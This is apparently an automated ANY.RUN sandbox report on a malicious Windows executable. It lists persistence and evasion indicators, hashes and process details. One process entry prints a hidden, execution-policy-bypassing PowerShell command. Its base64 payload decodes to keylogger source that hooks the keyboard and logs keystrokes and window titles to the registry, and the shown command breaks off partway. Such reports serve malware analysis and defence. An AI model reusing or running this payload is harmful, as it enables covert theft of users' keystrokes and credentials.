File name:

181-0441-7492.exe

Full analysis: https://app.any.run/tasks/0071c573-8c56-492c-9354-e3b2d0fcf159
Verdict: Malicious activity
Analysis date: March 25, 2025, 08:02:17
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
phishing
susp-powershell
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
MD5:

994FF796560AFDA31E2D245D90E5E05B

SHA1:

CC716E43327C9E605AFA0B129888CE6BAEA79CBA

SHA256:

EFDE274A71CB59F75ECE16678BF10427A79E7A39AD244F244041A6038BE0C2E9

SSDEEP:

24576:D/iO8lH24XJq5qYM81dLI1kf0L4dz4pnhcmlob+bvTZ/BUu8+MXjU2LyK3GrLp9d:D/iOoH24Zq5qYM81dLI1kf0L4dz4pnh5

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executing a file with an untrusted certificate

      • 181-0441-7492.exe (PID: 7468)
      • 181-0441-7492.exe (PID: 8104)

    • Accesses environment variables (SCRIPT)

      • wscript.exe (PID: 7276)
      • wscript.exe (PID: 4896)

    • Gets or sets visibliity for the scheduled task (SCRIPT)

      • wscript.exe (PID: 7276)

    • Access Task Scheduler's settings (SCRIPT)

      • wscript.exe (PID: 7276)

    • Gets security context of the user (SCRIPT)

      • wscript.exe (PID: 7276)

    • Creates a new scheduled task (SCRIPT)

      • wscript.exe (PID: 7276)

    • Copies file to a new location (SCRIPT)

      • wscript.exe (PID: 7276)

    • Gets context to execute command-line operations (SCRIPT)

      • wscript.exe (PID: 7276)

    • Deletes a file (SCRIPT)

      • wscript.exe (PID: 7276)

    • Opens a text file (SCRIPT)

      • wscript.exe (PID: 7276)

    • Reads the value of a key from the registry (SCRIPT)

      • wscript.exe (PID: 7276)
      • wscript.exe (PID: 4896)

    • May hide the program window using WMI (SCRIPT)

      • wscript.exe (PID: 7276)
      • wscript.exe (PID: 4896)

    • Creates a new registry key or changes the value of an existing one (SCRIPT)

      • wscript.exe (PID: 7276)
      • wscript.exe (PID: 4896)

    • Gets a file object corresponding to the file in a specified path (SCRIPT)

      • wscript.exe (PID: 7276)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 7236)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7236)

    • Opens an HTTP connection (SCRIPT)

      • wscript.exe (PID: 4896)

    • PHISHING has been detected (SURICATA)

      • svchost.exe (PID: 2196)

    • Sends HTTP request (SCRIPT)

      • wscript.exe (PID: 4896)

    • Creates internet connection object (SCRIPT)

      • wscript.exe (PID: 7276)
      • wscript.exe (PID: 4896)

  • SUSPICIOUS

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 7276)
      • wscript.exe (PID: 4896)

    • Uses WMI to retrieve WMI-managed resources (SCRIPT)

      • wscript.exe (PID: 7276)
      • wscript.exe (PID: 4896)

    • Application launched itself

      • 181-0441-7492.exe (PID: 7468)

    • Gets a folder of registered tasks (SCRIPT)

      • wscript.exe (PID: 7276)

    • Gets context to manipulate triggers of a scheduled task (SCRIPT)

      • wscript.exe (PID: 7276)

    • Gets or sets the principal for the task (SCRIPT)

      • wscript.exe (PID: 7276)

    • Gets context to manipulate scheduled tasks (SCRIPT)

      • wscript.exe (PID: 7276)

    • Accesses Scheduled Task settings (SCRIPT)

      • wscript.exe (PID: 7276)

    • Creates a Folder object (SCRIPT)

      • wscript.exe (PID: 7276)

    • Accesses current user name via WMI (SCRIPT)

      • wscript.exe (PID: 7276)

    • Gets full path of the running script (SCRIPT)

      • wscript.exe (PID: 7276)
      • wscript.exe (PID: 4896)

    • Gets scheduled task context (SCRIPT)

      • wscript.exe (PID: 7276)

    • Reads data from a binary Stream object (SCRIPT)

      • wscript.exe (PID: 7276)

    • Writes binary data to a Stream object (SCRIPT)

      • wscript.exe (PID: 7276)

    • Checks whether a specific file exists (SCRIPT)

      • wscript.exe (PID: 7276)

    • Accesses command line arguments (SCRIPT)

      • wscript.exe (PID: 7276)
      • wscript.exe (PID: 4896)

    • Executes application which crashes

      • 181-0441-7492.exe (PID: 8104)

    • Starts CMD.EXE for commands execution

      • 181-0441-7492.exe (PID: 8104)

    • Reads security settings of Internet Explorer

      • 181-0441-7492.exe (PID: 8104)

    • Executed via WMI

      • wscript.exe (PID: 4896)
      • powershell.exe (PID: 7236)

    • Creates an object to access WMI (SCRIPT)

      • wscript.exe (PID: 7276)
      • wscript.exe (PID: 4896)

    • Executes script without checking the security policy

      • powershell.exe (PID: 7236)

    • Accesses OperatingSystem(Win32_OperatingSystem) via WMI (SCRIPT)

      • wscript.exe (PID: 4896)

    • Executes WMI query (SCRIPT)

      • wscript.exe (PID: 4896)

    • Adds, changes, or deletes HTTP request header (SCRIPT)

      • wscript.exe (PID: 4896)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 7460)

    • Executable content was dropped or overwritten

      • csc.exe (PID: 7460)

  • INFO

    • Checks supported languages

      • 181-0441-7492.exe (PID: 7468)
      • 181-0441-7492.exe (PID: 8104)
      • csc.exe (PID: 7460)
      • cvtres.exe (PID: 2432)

    • Reads the computer name

      • 181-0441-7492.exe (PID: 7468)
      • 181-0441-7492.exe (PID: 8104)

    • Reads the machine GUID from the registry

      • 181-0441-7492.exe (PID: 7468)
      • 181-0441-7492.exe (PID: 8104)
      • csc.exe (PID: 7460)

    • Creates files or folders in the user directory

      • 181-0441-7492.exe (PID: 8104)
      • WerFault.exe (PID: 5416)

    • Create files in a temporary directory

      • 181-0441-7492.exe (PID: 8104)
      • cvtres.exe (PID: 2432)
      • csc.exe (PID: 7460)

    • Process checks computer location settings

      • 181-0441-7492.exe (PID: 8104)

    • Self-termination (SCRIPT)

      • wscript.exe (PID: 7276)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • wscript.exe (PID: 4896)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (61.6)
.dll | Win32 Dynamic Link Library (generic) (14.6)
.exe | Win32 Executable (generic) (10)
.exe | Win16/32 Executable Delphi generic (4.6)
.exe | Generic Win/DOS Executable (4.4)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2025:03:25 05:16:42+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 8
CodeSize: 785408
InitializedDataSize: 60416
UninitializedDataSize: -
EntryPoint: 0xc1ade
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 0.4.0.0
ProductVersionNumber: 0.4.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
Comments: ConventionalDataGrid
CompanyName: Microsoft
FileDescription:
FileVersion: 0.4
InternalName: mTdK.exe
LegalCopyright: Microsoft 2024
LegalTrademarks: Microsoft
OriginalFileName: mTdK.exe
ProductVersion: 0.4
AssemblyVersion: 0.4.0.0
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
147
Monitored processes
13
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start 181-0441-7492.exe no specs 181-0441-7492.exe cmd.exe no specs conhost.exe no specs wscript.exe no specs werfault.exe no specs wscript.exe powershell.exe no specs conhost.exe no specs #PHISHING svchost.exe csc.exe cvtres.exe no specs slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2432C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES31AC.tmp" "c:\Users\admin\AppData\Local\Temp\CSC3E0A812C37324B2CA7AE3825924CA43E.TMP"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
14.32.31326.0
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\cvtres.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase_clr0400.dll
4896C:\Windows\SysWOW64\wscript.exe "C:\Users\admin\AppData\Local\bb926e540.js" 188C:\Windows\SysWOW64\wscript.exe
WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Version:
5.812.10240.16384
Modules
Images
c:\windows\syswow64\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
5416C:\WINDOWS\SysWOW64\WerFault.exe -u -p 8104 -s 1004C:\Windows\SysWOW64\WerFault.exe—181-0441-7492.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
6816\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7224\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7236powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc QQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsAdQBzAGkAbgBnACAATQBpAGMAcgBvAHMAbwBmAHQALgBXAGkAbgAzADIAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEkATwA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEMAbwBsAGwAZQBjAHQAaQBvAG4AcwAuAEcAZQBuAGUAcgBpAGMAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEEAYwBjAGUAcwBzAEMAbwBuAHQAcgBvAGwAOwBuAGEAbQBlAHMAcABhAGMAZQAgAGIAMQB7AHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABtADIAewBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABpADMAIABsADQAIAA9ACAAYQA1ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAaQA2ACAAaAA3ACAAPQAgAGEAOAA7AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAEkAbgB0AFAAdAByACAAZwA5ACAAPQAgAEkAbgB0AFAAdAByAC4AWgBlAHIAbwA7AHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABtADEAMAAgAGIAMQAxADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdQBpAG4AdAAgAGIAMQAyADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdQBpAG4AdAAgAG8AMQAzADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdQBpAG4AdAAgAGUAMQA0ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAGcAMQA1ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAGEAMQA2ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAG0AMQA3ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABjADEAOAA7AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAHMAdAByAGkAbgBnACAAbgAxADkAOwBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABzAHQAcgBpAG4AZwAgAGwAMgAwADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABqADIAMQA7AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAHMAdAByAGkAbgBnACAAawAyADIAOwBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABzAHQAcgBpAG4AZwAgAGQAMgAzADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABkADIANAA7AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAHMAdAByAGkAbgBnACAAYgAyADUAOwBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABzAHQAcgBpAG4AZwAgAHAAMgA2ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAASQBuAHQAUAB0AHIAIABlADIANwA7AFsAUwB0AHIAdQBjAHQATABhAHkAbwB1AHQAKABMAGEAeQBvAHUAdABLAGkAbgBkAC4AUwBlAHEAdQBlAG4AdABpAGEAbAAsACAAQwBoAGEAcgBTAGUAdAAgAD0AIABDAGgAYQByAFMAZQB0AC4AQQBuAHMAaQApAF0AcAB1AGIAbABpAGMAIABzAHQAcgB1AGMAdAAgAGcAMgA4AHsAcAB1AGIAbABpAGMAIABzAHQAcgBpAG4AZwAgAGwAMgA5ADsAcAB1AGIAbABpAGMAIABJAG4AdABQAHQAcgAgAGQAMwAwADsAcAB1AGIAbABpAGMAIABVAEkAbgB0ADMAMgAgAG8AMwAxADsAcAB1AGIAbABpAGMAIABVAEkAbgB0ADMAMgAgAGsAMwAyADsAcAB1AGIAbABpAGMAIABVAEkAbgB0ADMAMgAgAGUAMwAzADsAWwBNAGEAcgBzAGgAYQBsAEEAcwAoAFUAbgBtAGEAbgBhAGcAZQBkAFQAeQBwAGUALgBCAHkAVgBhAGwAQQByAHIAYQB5ACwAIABTAGkAegBlAEMAbwBuAHMAdAAgAD0AIAAzADYAKQBdAHAAdQBiAGwAaQBjACAAYgB5AHQAZQBbAF0AIABoADMANAA7AH0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAHYAbwBpAGQAIABSAHUAbgAoAG0AMQAwACAAZgAzADUAKQB7AGIAMQAxACAAPQAgAGYAMwA1ADsAbQAxADcAIAA9ACAAbgBlAHcAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByACgAKQA7AG4AMQA5ACAAPQAgACIAUwBvAGYAdAB3AGEAcgBlAFwAXABNAGkAYwByAG8AcwBvAGYAdABcAFwAVwBpAG4AZABvAHcAcwBcAFwARABXAE0AIgA7AGwAMgAwACAAPQAgACIASABLAEUAWQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAFwAXAAiACAAKwAgAG4AMQA5ADsAcAAyADYAIAA9ACAARQBuAHYAaQByAG8AbgBtAGUAbgB0AC4ARwBlAHQARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQByAGkAYQBiAGwAZQAoACIAaABlAHgAOAA7ACIAKQA7AGkAZgAgACgAcAAyADYAIAA9AD0AIABuAHUAbABsACkAIABwADIANgAgAD0AIAAiADEAMgAzADQANQA2ADcAOAAiADsAagAyADEAIAA9ACAAcAAyADYAIAArACAAIgBhACIAOwBrADIAMgAgAD0AIABwADIANgAgACsAIAAiAGQAIgA7AGQAMgAzACAAPQAgAHAAMgA2ACAAKwAgACIAcwAiADsAZAAyADQAIAA9ACAAcAAyADYAIAArACAAIgBtACIAOwB1AGkAbgB0ACAAYwAzADYAIAA9ACAATwBwAGUAbgBNAHUAdABlAHgAKAAwAHgAMAAwADEAMAAwADAAMAAwACwAIABmAGEAbABzAGUALAAgAGQAMgA0ACkAOwBpAGYAIAAoAGMAMwA2ACAAIQA9ACAAMAApACAARQB4AGkAdABQAHIAbwBjAGUAcwBzACgAMAApADsAQwByAGUAYQB0AGUATQB1AHQAZQB4ACgASQBuAHQAUAB0AHIALgBaAGUAcgBvACwAIAB0AHIAdQBlACwAIABkADIANAApADsAZQAyADcAIAA9ACAASQBuAHQAUAB0AHIALgBaAGUAcgBvADsAaQBmACAAKABTAEMAYQByAGQARQBzAHQAYQBiAGwAaQBzAGgAQwBvAG4AdABlAHgAdAAoADIALAAgAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsACAASQBuAHQAUAB0AHIALgBaAGUAcgBvACwAIABvAHUAdAAgAGUAMgA3ACkAIAAhAD0AIAAwACkAIABlADIANwAgAD0AIABJAG4AdABQAHQAcgAuAFoAZQByAG8AOwBjADEAOAAgAD0AIAAiACIAOwBvADEAMwAgAD0AIABHAGUAdABGAG8AcgBlAGcAcgBvAHUAbgBkAFcAaQBuAGQAbwB3ACgAKQA7AGkAbgB0ACAAbwAzADcAIAA9ACAARwBlAHQAVwBpAG4AZABvAHcAVABlAHgAdABMAGUAbgBnAHQAaAAoAG8AMQAzACkAOwBhADEANgAgAD0AIABuAGUAdwAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAKABvADMANwAgACsAIAAxACkAOwBHAGUAdABXAGkAbgBkAG8AdwBUAGUAeAB0ACgAbwAxADMALAAgAGEAMQA2ACwAIABvADMANwAgACsAIAAxACkAOwB1AGkAbgB0ACAAZQAxADQAIAA9ACAAMAA7AEcAZQB0AFcAaQBuAGQAbwB3AFQAaAByAGUAYQBkAFAAcgBvAGMAZQBzAHMASQBkACgAbwAxADMALAAgAHIAZQBmACAAZQAxADQAKQA7AFAAcgBvAGMAZQBzAHMAIABjADMAOAAgAD0AIABQAHIAbwBjAGUAcwBzAC4ARwBlAHQAUAByAG8AYwBlAHMAcwBCAHkASQBkACgAKABpAG4AdAApAGUAMQA0ACkAOwBpAGYAIAAoAGMAMwA4ACAAIQA9ACAAbgB1AGwAbAApACAAYgAyADUAIAA9ACAAYwAzADgALgBQAHIAbwBjAGUAcwBzAE4AYQBtAGUAOwAgAGUAbABzAGUAIABiADIANQAgAD0AIAAiACIAOwBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsACAAMAAsACAAaAA3ACwAIABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAgADAALAAgAEkAbgB0AFAAdAByAC4AWgBlAHIAbwApADsAZwA5ACAAPQAgAG0AMwA5ACgAbAA0ACkAOwBBAHAAcABsAGkAYwBhAHQAaQBvAG4ALgBSAHUAbgAoACkAOwBVAG4AaABvAG8AawBXAGkAbgBkAG8AdwBzAEgAbwBvAGsARQB4ACgAZwA5ACkAOwB9AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAEkAbgB0AFAAdAByACAAbQAzADkAKABpADMAIABsADQAKQB7AEkAbgB0AFAAdAByACAAbQA0ADAAIAA9ACAARwBlAHQATQBvAGQAdQBsAGUASABhAG4AZABsAGUAKABQAHIAbwBjAGUAcwBzAC4ARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBNAG8AZAB1AGwAZQBOAGEAbQBlACkAOwByAGUAdAB1AHIAbgAgAFMAZQB0AFcAaQBuAGQAbwB3AHMASABvAG8AawBFAHgAKAAxADMALAAgAGwANAAsACAAbQA0ADAALAAgADAAKQA7AH0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdgBvAGkAZAAgAGMANAAxACgAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAGMANAAyACwAIABzAHQAcgBpAG4AZwAgAG8ANAAzACwAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByACAAYQA0ADQAKQB7AHQAcgB5AHsAcwB0AHIAaQBuAGcAIABmADQANQBkAGEAdABhAF8AIAA9ACAAUgBlAGcAaQBzAHQAcgB5AC4ARwBlAHQAVgBhAGwAdQBlACgAbAAyADAALAAgAGoAMgAxACwAIAAiACIAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAOwBmADQANQBkAGEAdABhAF8AIAA9ACAAZgA0ADUAZABhAHQAYQBfACAAKwAgAEQAYQB0AGUAVABpAG0AZQAuAE4AbwB3ACAAKwAgACIAIABbACIAIAArACAAYwA0ADIALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIAXQAgAC0AIAAiACAAKwAgAG8ANAAzACAAKwAgACIAXAByAFwAbgAiACAAKwAgAGEANAA0AC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAFwAcgBcAG4AXAByAFwAbgAiADsAUgBlAGcAaQBzAHQAcgB5AC4AUwBlAHQAVgBhAGwAdQBlACgAbAAyADAALAAgAGoAMgAxACwAIABmADQANQBkAGEAdABhAF8AKQA7AH0AYwBhAHQAYwBoACAAewAgAH0AfQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABpAG4AdAAgAG0ANAA2ACgASQBuAHQAUAB0AHIAIABoADQANwApAHsAcgBlAHQAdQByAG4AIABNAGEAcgBzAGgAYQBsAC4AUgBlAGEAZABJAG4AdAAzADIAKABoADQANwApADsAfQBwAHIAaQB2AGEAdABlACAAZABlAGwAZQBnAGEAdABlACAASQBuAHQAUAB0AHIAIABpADMAKABpAG4AdAAgAGcANAA4ACwAIABJAG4AdABQAHQAcgAgAGUANAA5ACwAIABJAG4AdABQAHQAcgAgAGgANQAwACkAOwBwAHUAYgBsAGkAYwAgAGQAZQBsAGUAZwBhAHQAZQAgAHUAaQBuAHQAIABpADYAKABJAG4AdABQAHQAcgAgAHAAUABhAHIAYQBtACkAOwBwAHUAYgBsAGkAYwAgAGQAZQBsAGUAZwBhAHQAZQAgAHYAbwBpAGQAIABtADEAMAAoACkAOwBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABJAG4AdABQAHQAcgAgAGEANQAoAGkAbgB0ACAAZwA0ADgALAAgAEkAbgB0AFAAdAByACAAZQA0ADkALAAgAEkAbgB0AFAAdAByACAAaAA1ADAAKQB7AGkAZgAgACgAZwA0ADgAIAA+AD0AIAAwACAAJgAmACAAZQA0ADkAIAA9AD0AIAAoAEkAbgB0AFAAdAByACkAMAB4ADAAMQAwADAAKQB7AGkAbgB0ACAAYQA1ADEAIAA9ACAAbQA0ADYAKABoADUAMAApADsAaQBmACAAKABhADUAMQAgADwAIAA4ACkAIAByAGUAdAB1AHIAbgAgAEMAYQBsAGwATgBlAHgAdABIAG8AbwBrAEUAeAAoAGcAOQAsACAAZwA0ADgALAAgAGUANAA5ACwAIABoADUAMAApADsAYgAxADEAKAApADsAYgBvAG8AbAAgAGgANQAyACAAPQAgACgAYQA1ADEAIAA9AD0AIAA4ACkAOwBiAG8AbwBsACAAbAA1ADMAIAA9ACAAKABhADUAMQAgAD0APQAgADQANgApADsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAGoANQA0ACAAPQAgAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAoACkAOwBiAHkAdABlAFsAXQAgAG0ANQA1ACAAIAA9ACAAbgBlAHcAIABiAHkAdABlAFsAMgA1ADUAXQA7AGkAZgAgACgARwBlAHQASwBlAHkAYgBvAGEAcgBkAFMAdABhAHQAZQAoAG0ANQA1ACkAKQB7AHUAaQBuAHQAIABwADUANgAgAD0AIABNAGEAcABWAGkAcgB0AHUAYQBsAEsAZQB5ACgAYQA1ADEALAAgADMAKQA7AGIAMQAyACAAPQAgAEcAZQB0AEYAbwByAGUAZwByAG8AdQBuAGQAVwBpAG4AZABvAHcAKAApADsAdQBpAG4AdAAgAGQANQA3ACAAPQAgADAAOwB1AGkAbgB0ACAAYgA1ADgAIAA9ACAARwBlAHQAVwBpAG4AZABvAHcAVABoAHIAZQBhAGQAUAByAG8AYwBlAHMAcwBJAGQAKABiADEAMgAsACAAcgBlAGYAIABkADUANwApADsAdQBpAG4AdAAgAG8ANQA5ACAAPQAgAEcAZQB0AEsAZQB5AGIAbwBhAHIAZABMAGEAeQBvAHUAdAAoAGIANQA4ACkAOwBpAGYAIAAoAGgANQAyACAAfAB8ACAAbAA1ADMAIAB8AHwAIAAoAFQAbwBVAG4AaQBjAG8AZABlAEUAeAAoAGEANQAxACwAIABwADUANgAsACAAbQA1ADUALAAgAGoANQA0ACwAIABqADUANAAuAEMAYQBwAGEAYwBpAHQAeQAsACAAKAB1AGkAbgB0ACkAMAAsACAAbwA1ADkAKQAgAD4AIAAwACkAKQB7AGkAbgB0ACAAbwAzADcAIAA9ACAARwBlAHQAVwBpAG4AZABvAHcAVABlAHgAdABMAGUAbgBnAHQAaAAoAGIAMQAyACkAOwBnADEANQAgAD0AIABuAGUAdwAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAKABvADMANwAgACsAIAAxACkAOwBHAGUAdABXAGkAbgBkAG8AdwBUAGUAeAB0ACgAYgAxADIALAAgAGcAMQA1ACwAIABvADMANwAgACsAIAAxACkAOwBpAGYAIAAoACgAZAA1ADcAIAAhAD0AIABlADEANAApACAAfAB8ACAAKABiADEAMgAgACEAPQAgAG8AMQAzACkAIAB8AHwAIAAoAGEAMQA2AC4AVABvAFMAdAByAGkAbgBnACgAKQAgACEAPQAgAGcAMQA1AC4AVABvAFMAdAByAGkAbgBnACgAKQApACkAewBjADQAMQAoAGEAMQA2ACwAIABiADIANQAsACAAbQAxADcAKQA7AGEAMQA2AC4AUgBlAG0AbwB2AGUAKAAwACwAIABhADEANgAuAEwAZQBuAGcAdABoACkAOwBhADEANgAuAEEAcABwAGUAbgBkACgAZwAxADUAKQA7AG0AMQA3AC4AUgBlAG0AbwB2AGUAKAAwACwAIABtADEANwAuAEwAZQBuAGcAdABoACkAOwBvADEAMwAgAD0AIABiADEAMgA7AFAAcgBvAGMAZQBzAHMAIABjADMAOAAgAD0AIABQAHIAbwBjAGUAcwBzAC4ARwBlAHQAUAByAG8AYwBlAHMAcwBCAHkA